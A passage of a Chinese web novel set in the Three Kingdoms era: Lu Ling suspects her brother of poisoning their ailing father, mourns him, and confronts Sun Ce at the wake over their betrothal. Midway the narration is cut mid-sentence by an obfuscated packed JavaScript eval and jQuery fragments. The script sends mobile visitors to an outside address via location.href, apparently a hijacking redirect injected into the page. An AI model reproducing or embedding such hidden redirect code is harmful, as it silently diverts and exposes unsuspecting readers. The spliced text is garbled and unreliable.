“泠儿,怎么还不回房歇息?”
陆绩提了盏灯朝这边来,陆泠赶忙收拾面上的情绪,以笑相迎。
“哥哥怎么也没睡?”
“想你还在伺候父亲,睡不着,出来看看。”
兄妹俩默契轻笑。
“如今庐江城一片混乱,哥哥白日里忙里忙外,夜里可要注意休息。”
“还说我呢,你昨夜睡了几个时辰?”
陆泠略一迟疑,道:“四个时辰。”
陆绩轻挑眉,反问:“是么?那为何我昨夜三番路过,你房里的灯都亮着?”
“……许是凑巧,哥哥来的时候,我恰好醒了。”
陆绩无奈地摇头,叹了一声。
“哥哥不想再看你过这样的日子,你是陆家的小姐,不是丫鬟,那些脏活累活不该你来做。”
“女儿侍奉父亲,是本分,我不觉得辛苦。”
陆泠眉眼温软,笑意盈盈,陆绩心头却像被什么揪着。
“哥哥说好护你一辈子,决不食言。”
陆绩声音倏地冷下来,陆泠下意识生起不安。
“哥哥?”
陆绩移开视线,声线已恢复如常。
“无事。今夜不许再熬着了,定要好好歇息,可记住了?”
“记住了。”陆泠犹豫片刻,轻声问,“那……泠儿先回房了?”
“去吧。”
陆泠转身走了几步,却又驻足,回眸望来。
“哥哥当真……没事瞒着泠儿吧?”
陆绩静静看着她,片刻,唇边缓缓浮起一贯温和的弧度。
“怎会。你还不了解哥哥么?我向来是藏不住心事的。”
他笑得太自然,太温柔,陆泠心头那点疑虑悄然散去。她终于安心,也回以一笑。
“也是。哥哥也早些歇息,明日见。”
“嗯。”
陆绩目送陆泠离开,唇边笑意归于冷然。他独立良久,眉宇间的阴影深不见底。
*
大夫隔三差五便会上门问诊,陆康一直处在命悬一线的状态,大家都习惯了。可今日,大夫表情不太对,甚至用上了银针。
“小姐,请借一步说话。”
陆泠跟着退出门外。
“陆康大人的病……似乎有些蹊跷。”
“请大夫明言。”
大夫从袖中取出一根细针,针尖在泛着暗色。
“大人面色青中带黑,脉象沉滞紊乱。此乃‘缠丝’之症。非寻常病气,而是被人长期投以微量毒物所致。”
“毒?!难道是近期的汤药有问题?”
“药材本身三分毒,尚不至此。大人体内的,是实打实的剧毒。可下毒之人极其谨慎,混在汤药抑或茶水中不易察觉。如此日积月累,才到了今日这般地步。”
大夫看向陆泠,目含深意。
“此毒,恐怕从大人用药起,便一直有。”
送走大夫,陆泠沉思许久。
父亲谨慎,病后疑心更重,除了她,不许任何下人靠近。每日的汤药、饭食,皆是她一人……
等等。还有一个人。
一个无需通报、可以随时出现在父亲房中,甚至理所当然接过她手中药碗,让她暂且去歇息之人。
“……哥哥?”
“泠儿怎知哥哥在你身后?”
陆泠被吓了一跳,小声惊讶,倏地回身。
陆绩站在她身后,应是刚从外头回来,风尘仆仆的样子。
“哥哥出了趟门?”
“嗯,去药铺添了些药材。”
陆绩说着,很自然地抬了抬手。
陆泠看着药包,不禁吞咽,小心问:“这是……给谁的药?”
“当然是父亲的。家中备的药快用完了,想着父亲夜里或许要用,便去跑了一趟。”
陆绩回答得没有半分迟疑,甚至因她这问题而略感困惑般,笑着偏头看她。
“泠儿今日是怎么了?可是累着了,神思有些恍惚?”
陆泠确实有些晕头转向。
“大夫方才来过,说了父亲的情况。”
“哦?大夫怎么说?”
她抬眸,望向陆绩温润如常的眼睛,轻声道:“他说父亲身子……恢复不错。”
陆绩脸上的笑意未减,道:“那便好。父亲能好转,你也轻松些。”
“嗯……”
陆泠瞧不出陆绩是否藏着秘密,即便是,她也不会相信下毒之人会是……不,一定不是。
“对了,”陆绩像是忽然想起,侧过脸来,“大夫可还说了别的?用药饮食上,有无需要特别留意之处?我好交给下人。”
“没,一切照旧即可。”
“好。”
一切照旧,心照不宣,装作无知。
*
陆康每日大半的时间在睡觉,醒来时,陆泠必须在身边,否则定会大发雷霆。
“陆泠……”
“父亲。”
“我的五脏六腑,灼烧得难受……”
陆康痛苦不堪的样子,陆泠看着心疼。
“那汤药喝了,是这种感觉。父亲忍忍,一会儿就好了。”
“不……你撒谎……”
陆康怒视瞪眼,浑身颤抖。
“是你每日在我喝的汤药里下毒……你要我早点死,你好逃出这个家……去找他……”
陆泠习以为常,轻声叹息。
“泠儿从未离开过父亲,日夜照顾,何来毒药?”
“我管你哪儿来的药!我说是你,定是你……你这个叛徒!我……我!”
陆康一口气突然上不来,脸憋得涨红。陆泠赶忙帮他顺气,扶着他慢慢躺下。
“父亲没有中毒,别担心,睡一觉就好了。”
陆泠拍着陆康的后背哄睡,看着父亲再次入睡,心神逐渐凝住,动作也停下。
“从用药起便有毒……若是被人知晓,下毒的罪名,不是只会在我头上吗……”
哥哥,真的是你吗?到底为何这么做?
*
陆泠终究没空找陆绩问个明白。
某个夜里,陆康一口气没上来,病逝。
这是大夫早就告知的结局,可庐江城中的百姓不这么说。
他们说,陆康大人是孙策害死的。是孙策围城两年,让陆大人日夜忧心,活活把陆大人气死的。
直至灵堂上还在讲。
陆泠跪在父亲的灵前,听着那些话,一动不动。
陆绩跪在她身边嚎啕大哭,情绪崩溃,眼睛红肿。
灵堂里人来人往,有人哭丧,有人劝陆绩另寻靠山,有人咒骂孙策,独独没人安慰陆泠节哀顺变,往后日子该怎么过。
或许人心皆知,陆泠的命运,陆康临终前早替她安排好了。
陆泠面无表情地望着父亲的灵位,没有眼泪。
“孙策……”她喃喃。
他还是没能逃过命运的捉弄,成了她的杀父仇人。
*
夜深了。
守了五日的灵堂里,此刻只剩下陆泠一人。
她跪在地上,望
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17381166|200184||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
着父亲的灵位,一动不动。
忽然,身后传来一阵轻微的响动。只是那人无意间泄露了呼吸声,陆泠便猜到来者何人。
可她不想回头。
“你走吧,我不叫人。”
身后的脚步停住。
“我不走。”
陆泠站起身,回头。
“父亲不想看到你,陆氏所有人都不想看到你。你救过我,我放过你。走吧。”
孙策朝前一步,陆泠下意识往后退了一步。
他就站在那里,隔着距离望着她。
“庐江太守被你杀了,将军已经得到庐江了,还不满足吗?”
“人不是我杀的。”
“被你逼死和被你亲手杀了,有何区别?反正你从一开始就没打算放过父亲!你要提着父亲的头颅去给袁术邀功,给你功名利禄!”
陆泠低吼着说完,却忽然笑了。
笑得让人心寒。
她本不想说这些,她清楚父亲是怎么死的,可她控制不住,无处可撒的气,被迫全给了他。
“孙策……我父亲死了……”
陆泠抬起眼,泪毫无征兆地滚下来。父亲病危至今,她终于掉了滴眼泪。
“你告诉我该拿你怎么办……我要不要杀了你,给父亲报仇……”
孙策向前,伸手欲触她脸庞。
“别过来。”
“你明明心悦于我,为何不肯认?为何宁愿这样彼此折磨?”
“我再说最后一次,我从未心悦你!请将军不要再自作多情!”
陆泠退后一步。
孙策的脚步僵住。
“若我曾让将军误会……我道歉。我接近你,试探你,不过是为了……为了……”
她忽然哽住,像被什么扼住了喉咙。可她知道,她必须说完。
反正如今,父亲只剩一具枯骨,而她的心,也早该跟着死了。
“是望你带我离开,离开父亲的禁锢,离开这个……牢笼。”
后院重逢时她曾不小心走漏真心,她问,“你真的能带我逃离吗?”。
深夜出城求见,陆泠没想过活着回庐江。但如果能活着离开孙策的营帐,她想就此远走高飞。
陆泠看着父亲的灵位,苦笑一声。
“我果然……哪里也去不了。”
孙策心口突然揪得疼。打小自信满满之人,平生第一次生出一丝自卑。
陆泠深吸口气,又道:“当过往一切都作废。还有那纸婚约,也废吧。”
孙策的脸色变了:“什么?”
“年少时定的那一纸婚约,作废。”
“不行。”
陆泠忽地苦笑道:“如此局面,你还想我嫁进你孙府吗?就这么想看陆氏成为整个江东的笑柄吗!”
“婚约是你父亲和我父亲定的。要作废,得两家都同意。你说了不算。”
“可他们都死了!你让我去找谁同意?你想让我去黄泉找他们同意吗?!”
孙策望着几近失控的陆泠,忽然上前一步,一把将她揽入怀中。掌心扣住她的后脑,把她的脸按进自己的胸膛。
“你听我说。”
“你放开我!”
陆泠瘦,但灵巧,从下方抽出身后猛地推开孙策。
“别以为我关在家里什么都不知道!袁术要的不止是父亲的头,还有我。”
她踉跄了下,勉强站稳。眼底的情绪和嘴里的话,平静得可怕。
“什么悼念,你是来抓我走,献给你主公袁术,做他的……玩物,对吧?”